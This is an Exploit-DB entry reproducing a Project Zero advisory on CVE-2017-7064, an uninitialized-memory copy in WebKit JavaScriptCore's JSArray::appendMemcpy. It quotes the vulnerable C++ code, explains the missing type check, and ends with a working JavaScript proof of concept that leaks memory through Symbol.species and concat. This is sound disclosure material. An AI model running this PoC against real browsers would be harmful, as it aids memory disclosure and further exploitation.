WebKit JSC - 'JSArray::appendMemcpy' Uninitialized Memory Copy

EDB-ID: 42375
Author: Google Security Research
Published: 2017-07-25
CVE: CVE-2017-7064
Type: Dos
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1236 

WebKit: JSC: JSArray::appendMemcpy uninitialized memory copy

Here's a snippet of JSArray::appendMemcpy.

bool JSArray::appendMemcpy(ExecState* exec, VM& vm, unsigned startIndex, JSC::JSArray* otherArray)
{
auto scope = DECLARE_THROW_SCOPE(vm);

if (!canFastCopy(vm, otherArray))
return false;

IndexingType type = indexingType();
IndexingType copyType = mergeIndexingTypeForCopying(otherArray->indexingType());
if (type == ArrayWithUndecided && copyType != NonArray) {
if (copyType == ArrayWithInt32)
convertUndecidedToInt32(vm);
else if (copyType == ArrayWithDouble)
convertUndecidedToDouble(vm);
else if (copyType == ArrayWithContiguous)
convertUndecidedToContiguous(vm);
else {
ASSERT(copyType == ArrayWithUndecided);
return true;
}
} else if (type != copyType)
return false;

...

if (type == ArrayWithDouble)
memcpy(butterfly()->contiguousDouble().data() + startIndex, otherArray->butterfly()->contiguousDouble().data(), sizeof(JSValue) * otherLength);
else
memcpy(butterfly()->contiguous().data() + startIndex, otherArray->butterfly()->contiguous().data(), sizeof(JSValue) * otherLength);

return true;
}

The method considers the case where |this|'s type is ArrayWithUndecided, but does not consider whether |otherArray|'s type is ArrayWithUndecided that may have uninitialized data.
So, when the memcpy function is called, |otherArray|'s uninitialized memory may be copied to |this| which has a type.

PoC:
-->

function optNewArrayAndConcat() {
let a = [,,,,,,,,,];
return Array.prototype.concat.apply(a);
}

function main() {
Array.prototype.constructor = {
[Symbol.species]: function () {
return [{}];
}
};

gc();

for (let i = 0; i < 0x10000; i++) {
optNewArrayAndConcat().fill({});
}

gc();

for (let i = 0; i < 0x20000; i++) {
let res = optNewArrayAndConcat();
if (res[0])
print(res.toString());
}
}

main();

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